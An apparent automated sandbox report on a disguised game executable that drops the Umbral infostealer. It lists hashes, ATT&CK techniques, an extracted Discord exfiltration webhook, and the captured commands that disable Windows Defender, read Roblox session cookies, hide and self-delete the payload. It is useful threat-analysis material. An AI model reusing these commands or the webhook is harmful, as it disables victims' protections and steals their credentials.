Analysis
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max time kernel
149s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-01-2025 16:51
Behavioral task
behavioral1
Sample
Counter Attack 1.3.07.exe
Resource
win7-20241023-en
General
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Target
Counter Attack 1.3.07.exe
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Size
4.0MB
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MD5
768fac5fc9b1a6723ec5e88643cfa69b
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SHA1
ecadbe36d1526e2564eda430956b23d41b08e41a
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SHA256
98d6a942ccc041bb0534b401fef09d82b4d2a4690673c325217457e625e6259b
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SHA512
e4219e87335cccf156828c9271b6e619fc2f3ad848eb3a82ddc683679efb86e4575b2c0325ede1f3a06a533cb5bbdce75bd227ff46ee309902ba7e1554411690
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SSDEEP
49152:NNEVtO1U1y1DDDDDD7Llngq7NNMqU0p2Vhk9aQNEVtO1U1y1DDDDDD7Llngq7NN0:NNEVJyZlng4p2VeNEVJyZlng4p2VMg
Malware Config
Extracted
umbral
https://discord.com/api/webhooks/1326955608112496710/UQehMk_daQ2YbkYBZ11umbBWXbi1b3G49GJ1zVYdBwPGpiZwYf8UJiTlt6xSrBCEwhJ_
Signatures
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Detect Umbral payload 3 IoCs
resource yara_rule behavioral2/memory/2040-33-0x0000000000400000-0x0000000000809000-memory.dmp family_umbral behavioral2/memory/3528-34-0x000001E4CDB70000-0x000001E4CDBB0000-memory.dmp family_umbral behavioral2/files/0x0007000000023cbc-32.dat family_umbral -
Umbral family
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pid Process 3472 powershell.exe 2992 powershell.exe 4316 powershell.exe 1492 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts Umbral.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation Counter Attack 1.3.07.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation Counter Attack 1.3.071.exe -
Executes dropped EXE 4 IoCs
pid Process 1588 Counter Attack 1.3.071.exe 4508 Extreme Injector v3.exe 3528 Umbral.exe 3444 Extreme Injector v3.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 13 raw.githubusercontent.com 17 raw.githubusercontent.com 25 discord.com 26 discord.com 12 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Counter Attack 1.3.07.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Counter Attack 1.3.071.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 4056 cmd.exe 552 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4012 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 552 PING.EXE -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 3528 Umbral.exe 1492 powershell.exe 1492 powershell.exe 4316 powershell.exe 4316 powershell.exe 3472 powershell.exe 3472 powershell.exe 1260 powershell.exe 1260 powershell.exe 2992 powershell.exe 2992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4508 Extreme Injector v3.exe Token: 33 4508 Extreme Injector v3.exe Token: SeIncBasePriorityPrivilege 4508 Extreme Injector v3.exe Token: SeDebugPrivilege 3528 Umbral.exe Token: SeIncreaseQuotaPrivilege 2288 wmic.exe Token: SeSecurityPrivilege 2288 wmic.exe Token: SeTakeOwnershipPrivilege 2288 wmic.exe Token: SeLoadDriverPrivilege 2288 wmic.exe Token: SeSystemProfilePrivilege 2288 wmic.exe Token: SeSystemtimePrivilege 2288 wmic.exe Token: SeProfSingleProcessPrivilege 2288 wmic.exe Token: SeIncBasePriorityPrivilege 2288 wmic.exe Token: SeCreatePagefilePrivilege 2288 wmic.exe Token: SeBackupPrivilege 2288 wmic.exe Token: SeRestorePrivilege 2288 wmic.exe Token: SeShutdownPrivilege 2288 wmic.exe Token: SeDebugPrivilege 2288 wmic.exe Token: SeSystemEnvironmentPrivilege 2288 wmic.exe Token: SeRemoteShutdownPrivilege 2288 wmic.exe Token: SeUndockPrivilege 2288 wmic.exe Token: SeManageVolumePrivilege 2288 wmic.exe Token: 33 2288 wmic.exe Token: 34 2288 wmic.exe Token: 35 2288 wmic.exe Token: 36 2288 wmic.exe Token: SeDebugPrivilege 3444 Extreme Injector v3.exe Token: 33 3444 Extreme Injector v3.exe Token: SeIncBasePriorityPrivilege 3444 Extreme Injector v3.exe Token: SeDebugPrivilege 4508 Extreme Injector v3.exe Token: SeIncreaseQuotaPrivilege 2288 wmic.exe Token: SeSecurityPrivilege 2288 wmic.exe Token: SeTakeOwnershipPrivilege 2288 wmic.exe Token: SeLoadDriverPrivilege 2288 wmic.exe Token: SeSystemProfilePrivilege 2288 wmic.exe Token: SeSystemtimePrivilege 2288 wmic.exe Token: SeProfSingleProcessPrivilege 2288 wmic.exe Token: SeIncBasePriorityPrivilege 2288 wmic.exe Token: SeCreatePagefilePrivilege 2288 wmic.exe Token: SeBackupPrivilege 2288 wmic.exe Token: SeRestorePrivilege 2288 wmic.exe Token: SeShutdownPrivilege 2288 wmic.exe Token: SeDebugPrivilege 2288 wmic.exe Token: SeSystemEnvironmentPrivilege 2288 wmic.exe Token: SeRemoteShutdownPrivilege 2288 wmic.exe Token: SeUndockPrivilege 2288 wmic.exe Token: SeManageVolumePrivilege 2288 wmic.exe Token: 33 2288 wmic.exe Token: 34 2288 wmic.exe Token: 35 2288 wmic.exe Token: 36 2288 wmic.exe Token: SeDebugPrivilege 3444 Extreme Injector v3.exe Token: 33 4508 Extreme Injector v3.exe Token: SeIncBasePriorityPrivilege 4508 Extreme Injector v3.exe Token: SeDebugPrivilege 1492 powershell.exe Token: SeDebugPrivilege 4316 powershell.exe Token: 33 4508 Extreme Injector v3.exe Token: SeIncBasePriorityPrivilege 4508 Extreme Injector v3.exe Token: SeDebugPrivilege 3472 powershell.exe Token: SeDebugPrivilege 1260 powershell.exe Token: 33 4508 Extreme Injector v3.exe Token: SeIncBasePriorityPrivilege 4508 Extreme Injector v3.exe Token: SeIncreaseQuotaPrivilege 1788 wmic.exe Token: SeSecurityPrivilege 1788 wmic.exe Token: SeTakeOwnershipPrivilege 1788 wmic.exe -
Suspicious use of WriteProcessMemory 35 IoCs
description pid Process procid_target PID 2040 wrote to memory of 1588 2040 Counter Attack 1.3.07.exe 82 PID 2040 wrote to memory of 1588 2040 Counter Attack 1.3.07.exe 82 PID 2040 wrote to memory of 1588 2040 Counter Attack 1.3.07.exe 82 PID 2040 wrote to memory of 4508 2040 Counter Attack 1.3.07.exe 83 PID 2040 wrote to memory of 4508 2040 Counter Attack 1.3.07.exe 83 PID 2040 wrote to memory of 3528 2040 Counter Attack 1.3.07.exe 84 PID 2040 wrote to memory of 3528 2040 Counter Attack 1.3.07.exe 84 PID 1588 wrote to memory of 3444 1588 Counter Attack 1.3.071.exe 85 PID 1588 wrote to memory of 3444 1588 Counter Attack 1.3.071.exe 85 PID 3528 wrote to memory of 2288 3528 Umbral.exe 86 PID 3528 wrote to memory of 2288 3528 Umbral.exe 86 PID 3528 wrote to memory of 2716 3528 Umbral.exe 92 PID 3528 wrote to memory of 2716 3528 Umbral.exe 92 PID 3528 wrote to memory of 1492 3528 Umbral.exe 94 PID 3528 wrote to memory of 1492 3528 Umbral.exe 94 PID 3528 wrote to memory of 4316 3528 Umbral.exe 96 PID 3528 wrote to memory of 4316 3528 Umbral.exe 96 PID 3528 wrote to memory of 3472 3528 Umbral.exe 98 PID 3528 wrote to memory of 3472 3528 Umbral.exe 98 PID 3528 wrote to memory of 1260 3528 Umbral.exe 100 PID 3528 wrote to memory of 1260 3528 Umbral.exe 100 PID 3528 wrote to memory of 1788 3528 Umbral.exe 102 PID 3528 wrote to memory of 1788 3528 Umbral.exe 102 PID 3528 wrote to memory of 4724 3528 Umbral.exe 104 PID 3528 wrote to memory of 4724 3528 Umbral.exe 104 PID 3528 wrote to memory of 2460 3528 Umbral.exe 106 PID 3528 wrote to memory of 2460 3528 Umbral.exe 106 PID 3528 wrote to memory of 2992 3528 Umbral.exe 108 PID 3528 wrote to memory of 2992 3528 Umbral.exe 108 PID 3528 wrote to memory of 4012 3528 Umbral.exe 110 PID 3528 wrote to memory of 4012 3528 Umbral.exe 110 PID 3528 wrote to memory of 4056 3528 Umbral.exe 112 PID 3528 wrote to memory of 4056 3528 Umbral.exe 112 PID 4056 wrote to memory of 552 4056 cmd.exe 114 PID 4056 wrote to memory of 552 4056 cmd.exe 114 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2716 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe"C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.07.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe"C:\Users\Admin\AppData\Local\Temp\Counter Attack 1.3.071.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1588 -
C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3444
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C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"C:\Users\Admin\AppData\Local\Temp\Extreme Injector v3.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4508
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C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3528 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2288
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C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"3⤵
- Views/modifies file attributes
PID:2716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1492
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4316
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3472
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1788
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory3⤵PID:4724
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵PID:2460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2992
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name3⤵
- Detects videocard installed
PID:4012
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\system32\PING.EXEping localhost4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:552
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
1KB
MD5276798eeb29a49dc6e199768bc9c2e71
SHA15fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA5120d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2
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Filesize
1KB
MD5cad710b7b650814f3053c0bd6161970f
SHA111d4202038ba39b7ab2a4ebf361880da74275e5e
SHA2569daed50a6463e6fdf5a56d4789c6456fd7d588fbc063569a88dba1b77104712d
SHA5129754b4d2d5aa6667f3a89172dc7ef911e22ff7897cc1af9a9681080a3533e26b64028e204670f6b81fbca8dd18091bc768391a38263968f267efae02d1d5dcb6
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
948B
MD5966914e2e771de7a4a57a95b6ecfa8a9
SHA17a32282fd51dd032967ed4d9a40cc57e265aeff2
SHA25698d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba
SHA512dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5
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Filesize
1.9MB
MD569bead9cc091be0dffb03708ee18466c
SHA15c4940dddd513a8f75745d63f21fe53d9b22de49
SHA2563e23ae22cb0d4e7ba836cc3f26ad73a51ff9c2987944f08c6120aeefc608d69b
SHA51203ef8a187c7dd31979728d4a1fd544998f756df9f4af1e64d743f56ca42be648feac440246ff280cb7935cec2b5ecd500b2be69da47d6c598f3434f4c47a5f65
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Filesize
1.9MB
MD5ec801a7d4b72a288ec6c207bb9ff0131
SHA132eec2ae1f9e201516fa7fcdc16c4928f7997561
SHA256b65f40618f584303ca0bcf9b5f88c233cc4237699c0c4bf40ba8facbe8195a46
SHA512a07dd5e8241de73ce65ff8d74acef4942b85fc45cf6a7baafd3c0f9d330b08e7412f2023ba667e99b40e732a65e8fb4389f7fe73c7b6256ca71e63afe46cdcac
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Filesize
231KB
MD569ac49033ce70c49a4615c5f32d3786e
SHA1e8088b02cf9c84c027854bf0a8c042764a53ee07
SHA256a233572b6ff043e804d6f2b8fb8e3a076d0e6558e723ad9d2a64e8811e129605
SHA5125456504e8e85afdb6a65570890440f85be458fceaf1c5831c3a5669335170ca290809d7741550377e2bb22c4e7b73828886757149158fb152d4be1a6051787a3
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82